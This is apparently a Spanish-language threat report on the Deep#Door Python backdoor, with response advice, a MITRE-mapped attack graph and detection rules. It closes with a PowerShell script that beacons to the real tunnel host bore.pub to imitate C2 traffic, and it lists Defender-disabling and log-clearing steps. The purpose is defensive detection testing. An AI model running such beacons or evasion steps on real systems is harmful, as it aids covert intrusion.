Deep#Door Stealer: Puerta Trasera Sigilosa en Python y Ladrón de Credenciales que Aprovecha el Túnel, la Persistencia Multicapa y las Capacidades de Vigilancia en Memoria
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe examina Deep#Door, una puerta trasera sigilosa basada en Python y entregada a través de un cargador de lote ofuscado que incrusta y reconstruye su carga maliciosa en tiempo de ejecución. El malware utiliza un servicio de túnel TCP público para el comando y control, establece varios mecanismos de persistencia, debilita los controles de seguridad de Windows y admite actividades amplias de vigilancia y robo de credenciales. También realiza comprobaciones detalladas del entorno para evadir sandboxes y analistas, mientras confía en el parcheo de API en memoria para permanecer oculto durante la ejecución.
Investigación
Los investigadores de Securonix mapearon la cadena completa de infección desde el script inicial del lote hasta la extracción, reconstrucción y ejecución de la carga final del RAT en Python. Su análisis identificó abuso de bore.pub para el túnel, puertos generados dinámicamente y una secuencia de autenticación personalizada utilizada para el acceso del operador. El informe también detalló los métodos de evasión de defensas del malware, las técnicas de persistencia, las rutinas de descubrimiento del sistema y el comportamiento de exfiltración de datos.
Mitigación
Los defensores deben monitorear de cerca la ejecución de scripts, habilitar el registro de PowerShell, detectar cambios no autorizados en la configuración de Microsoft Defender y el firewall, y auditar las entradas de inicio, las claves Run y las ubicaciones de persistencia relacionadas. También se debe enfocar el monitoreo de la red en las conexiones salientes a bore.pub y actividades inusuales en puertos altos. Las herramientas EDR capaces de detectar el parcheo de API y la manipulación de memoria pueden mejorar aún más la visibilidad de esta amenaza.
Respuesta
Si se detecta actividad de Deep#Door, aísle inmediatamente el endpoint afectado, termine el proceso malicioso de Python, elimine todos los mecanismos de persistencia, incluidas scripts de inicio, claves Run y suscripciones WMI, y restablezca la configuración modificada de Defender y registro. Los equipos de seguridad también deben realizar un análisis de memoria y forense para identificar implantes ocultos y evaluar la exposición al robo de credenciales, mientras bloquean la comunicación de red a bore.pub.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes Definitions action_user_execution["<b>Acción</b> – <b>T1204 Ejecución de Usuario</b>: La víctima ejecuta el archivo por lotes malicioso install_obf.bat"] class action_user_execution action tool_batch_file["<b>Herramienta</b> – <b>Nombre</b>: install_obf.bat<br/><b>Descripción</b>: Script por lotes que lanza el cargador"] class tool_batch_file tool action_obfuscation["<b>Acción</b> – <b>T1027 Archivos o Información Ofuscados</b>: Extrae la carga útil de Python codificada en base64/XOR (svc.py) mediante regex de PowerShell autoreferenciado"] class action_obfuscation action tool_powershell["<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Descripción</b>: Utilizado para analizar el archivo por lotes y decodificar la carga incrustada"] class tool_powershell tool tool_python["<b>Herramienta</b> – <b>Nombre</b>: Python<br/><b>Descripción</b>: Ejecuta la carga decodificada svc.py"] class tool_python tool action_defense_evasion_disable["<b>Acción</b> – <b>T1562.001 Desactivar o Modificar Herramientas</b> / <b>T1562.004 Desactivar o Modificar el Firewall del Sistema</b> / <b>T1562.008 Desactivar o Modificar Registros en la Nube</b>: Desactiva Windows Defender, el registro de PowerShell, SmartScreen y el registro del firewall"] class action_defense_evasion_disable action tool_setmp["<b>Herramienta</b> – <b>Nombre</b>: Set-MpPreference<br/><b>Descripción</b>: Cmdlet de PowerShell para cambiar la configuración de Defender"] class tool_setmp tool tool_netsh["<b>Herramienta</b> – <b>Nombre</b>: netsh advfirewall<br/><b>Descripción</b>: Modifica las reglas y registros del firewall de Windows"] class tool_netsh tool action_indicator_removal["<b>Acción</b> – <b>T1070.001 Borrar Registros de Eventos de Windows</b> y <b>T1070.006 Timestomp</b>: Detiene y borra los servicios de EventLog/Sysmon y altera las marcas de tiempo de los archivos"] class action_indicator_removal action action_persistence_runkey["<b>Acción</b> – <b>T1547.001 Claves de Ejecución en el Registro/Carpeta de Inicio</b> y <b>T1053 Tarea/Trabajo Programado</b>: Deja caer SystemServices.vbs en la carpeta de inicio, crea una clave Run y una tarea programada como respaldo"] class action_persistence_runkey action tool_vbs_startup["<b>Herramienta</b> – <b>Nombre</b>: SystemServices.vbs<br/><b>Descripción</b>: Script VBS colocado en %APPDATA%MicrosoftWindowsStart MenuProgramsStartup"] class tool_vbs_startup tool action_credential_access["<b>Acción</b> – <b>T1003 Volcado de Credenciales del SO</b>, <b>T1552.004 Claves Privadas</b>, <b>T1552.001 Credenciales en Archivos</b>, <b>T1555 Almacenes de Contraseñas</b>, <b>T1555.005 Gestores de Contraseñas</b>: Recolecta contraseñas del navegador, Gestor de Credenciales de Windows, claves SSH, tokens en la nube"] class action_credential_access action action_collection["<b>Acción</b> – <b>T1056.001 Keylogging</b>, <b>T1113 Captura de Pantalla</b>, <b>T1125 Captura de Video</b>, <b>T1123 Captura de Audio</b>, <b>T1115 Datos del Portapapeles</b>: Captura pulsaciones de teclas, capturas de pantalla, video de la cámara web, audio del micrófono y portapapeles"] class action_collection action action_discovery["<b>Acción</b> – <b>T1082 Descubrimiento de Información del Sistema</b>, <b>T1518 Descubrimiento de Software</b>, <b>T1057 Descubrimiento de Procesos</b>, <b>T1046 Descubrimiento de Servicios de Red</b>, <b>T1018 Descubrimiento de Sistema Remoto</b>, <b>T1526 Descubrimiento de Servicios en la Nube</b>: Recopila datos de configuración del sistema operativo, hardware, software, procesos, red y nube"] class action_discovery action action_defense_evasion_reflective["<b>Acción</b> – <b>T1620 Carga de Código Reflectante</b> y <b>T1497.003 Evasión de Virtualización/Sandbox: Basada en Tiempo</b>: Detecta depuradores, máquinas virtuales y características de sandbox y aborta la ejecución"] class action_defense_evasion_reflective action action_c2_tunneling["<b>Acción</b> – <b>T1572 Túnel de Protocolo</b>: Establece un túnel cifrado a través del servicio público bore.pub, realiza exploración dinámica de puertos y autenticación de desafío-respuesta"] class action_c2_tunneling action action_exfiltration["<b>Acción</b> – <b>T1041 Exfiltración a través del Canal C2</b> y <b>T1048.002 Exfiltración a través de Protocolo Alternativo: Cifrado Asimétrico No-C2</b>: Envía datos recolectados a través del canal tunelizado"] class action_exfiltration action action_impact_forkbomb["<b>Acción</b> – <b>T1499.002 Inundación de Agotamiento de Servicios</b>: Ejecuta una fork bomb para consumir recursos del sistema"] class action_impact_forkbomb action %% Connections showing attack flow action_user_execution –>|ejecuta| tool_batch_file tool_batch_file –>|contiene| action_obfuscation action_obfuscation –>|usa| tool_powershell tool_powershell –>|decodifica y lanza| tool_python tool_python –>|realiza| action_defense_evasion_disable action_defense_evasion_disable –>|usa| tool_setmp action_defense_evasion_disable –>|usa| tool_netsh action_defense_evasion_disable –>|conduce a| action_indicator_removal action_indicator_removal –>|precede| action_persistence_runkey action_persistence_runkey –>|deja caer| tool_vbs_startup action_persistence_runkey –>|habilita| action_credential_access action_credential_access –>|habilita| action_collection action_collection –>|alimenta datos a| action_discovery action_discovery –>|soporta| action_defense_evasion_reflective action_defense_evasion_reflective –>|establece| action_c2_tunneling action_c2_tunneling –>|transporta| action_exfiltration action_exfiltration –>|desencadena| action_impact_forkbomb "
Flujo de Ataque
Detecciones
Posibles Puntos de Persistencia [ASEPs – Registro Hive de Software/NTUSER] (via registry_event)
Ver
Cadenas de Powershell Sospechosas (via cmdline)
Ver
Llamar Clases/Métodos .NET Sospechosos desde la Línea de Comando de Powershell (via process_creation)
Ver
Posible Descubrimiento de Sistema Remoto o Comprobación de Conectividad (via cmdline)
Ver
Posible Enumeración/Manipulación de Cuenta o Grupo (via cmdline)
Ver
Uso Posible de Timeout para Ejecución con Retardo (via cmdline)
Ver
LOLBAS WScript / CScript (via process_creation)
Ver
Desactivar la Supervisión en Tiempo Real de Windows Defender y Otros Cambios de Preferencias (via cmdline)
Ver
Cadenas de Powershell Sospechosas (via powershell)
Ver
Cambios Sospechosos en Preferencias de Windows Defender (via powershell)
Ver
Binarios/Scripts Sospechosos en Ubicación de Inicio Automático (via file_event)
Ver
IOCs (HashSha256) para detectar: Deep#Door Stealer: Puerta Trasera de Python Sigilosa y Ladrón de Credenciales Aprovechando Túneles, Persistencia Multicapa y Capacidades de Vigilancia en Memoria
Ver
Detectar Comunicación C2 a través del Servicio de Túnel TCP Público [Conexión de Red de Windows]
Ver
Comando de PowerShell para Extracción de Carga Incrustada de Python [Windows Powershell]
Ver
Detección de Despliegue de Puerta Trasera de Python Sigilosa Deep#Door [Creación de Proceso de Windows]
Ver
Detección de Uso de Servicio de Túnel TCP Bore.pub para Comunicaciones C2 [Conexión de Red de Windows]
Ver
Supervisión de Comportamiento y Tiempo Real de Windows Defender Desactivada [Windows Powershell]
Ver
Ejecución de Script por Lote Ofuscado de Deep#Door [Creación de Proceso de Windows]
Ver
Comando de PowerShell para Desactivar Características de Windows Defender [Windows Powershell]
Ver
Detección de Ejecución de Puerta Trasera de Python Sigilosa Deep#Door [Creación de Proceso de Windows]
Ver
Detección de Comunicación Sigilosa C2 a través de bore.pub [Conexión de Red de Windows]
Ver
Detección del Ladrón Deep#Door usando PowerShell y Manipulación de Firewall [Windows Powershell]
Ver
Ejecución de Simulación
Prerrequisito: El Chequeo de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y pretenden generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
Un atacante que ha ganado un punto de apoyo de bajo privilegio en el host de Windows desea establecer un canal C2 sigiloso utilizando el
bore.pubservicio de túnel conocido públicamente empleado por Deep#Door. Para mezclarse con el tráfico legítimo, el atacante selecciona un puerto del rango 41,234-41,243 (elegido por el malware) y utiliza PowerShellSystem.Net.Sockets.TcpClientclase para abrir una conexión TCP en bruto. La conexión se mantiene inactiva durante un corto período para imitar un latido antes de transmitir una pequeña baliza codificada en base-64. -
Script de Prueba de Regresión:
# Simular la baliza C2 de Deep#Door a bore.pub en un puerto aleatorio dentro del rango monitoreado $domain = 'bore.pub' $port = Get-Random -Minimum 41234 -Maximum 41244 # El límite superior es exclusivo try { Write-Host "Conectando a $domain:$port ..." $client = New-Object System.Net.Sockets.TcpClient $client.Connect($domain, $port) $stream = $client.GetStream() # Carga mínima de baliza (p.ej., un "ping" codificado en base64) $payload = [System.Text.Encoding]::ASCII.GetBytes('cGlja2V0') $stream.Write($payload,0,$payload.Length) Write-Host "Baliza enviada. Manteniendo la conexión durante 5 segundos..." Start-Sleep -Seconds 5 } catch { Write-Error "Conexión fallida: $_" } finally { if ($stream) { $stream.Close() } if ($client) { $client.Close() } Write-Host "Conexión cerrada." } -
Comandos de Limpieza:
# Sin artefactos persistentes; asegurar que no queden conexiones TCP activas Get-NetTCPConnection -RemotePort 41234-41243 -State Established | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } Write-Host "Limpieza completa."
Fin del Informe